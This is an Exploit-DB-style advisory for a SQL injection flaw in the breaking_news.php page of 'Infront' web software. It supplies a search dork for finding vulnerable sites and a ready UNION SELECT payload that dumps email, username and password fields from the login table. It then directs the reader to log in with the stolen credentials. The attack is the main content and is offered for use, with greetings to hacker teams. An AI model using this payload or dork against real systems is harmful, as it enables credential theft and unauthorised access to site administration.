Infront SQL Injection Vulnerability



EDB-ID: 13848 CVE: N/A OSVDB-ID: N/A
Author: TheMaStEr Published: 2010-06-12 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

Rating

(0.0)
Prev Home Next
# Exploit Title: Infront SQL Injection Vulnerability
# Date: 12-06-2010
# Author: TheMaster <v4m@hotmail.de>
# Software Link: http://www.infront.com/
# Version: N/A
# Tested on: Windows XP SP3

Author : TheMaster <v4m@hotmail.de>
Dork : intext:Powered by Infront
Type of attack : SQLi
File : breaking_news.php
Exploit Code : http://target/path/breaking_news.php?newsid=union select 1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login

After , you can login here : http://target/path/login.php

demo : http://server/breaking_news.php?newsid=-103+UNION+SELECT+1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login--

GreeTz : SA H4x0r <Abu Saud> , HiV Sec Team , Sec4ever and v4-Team Members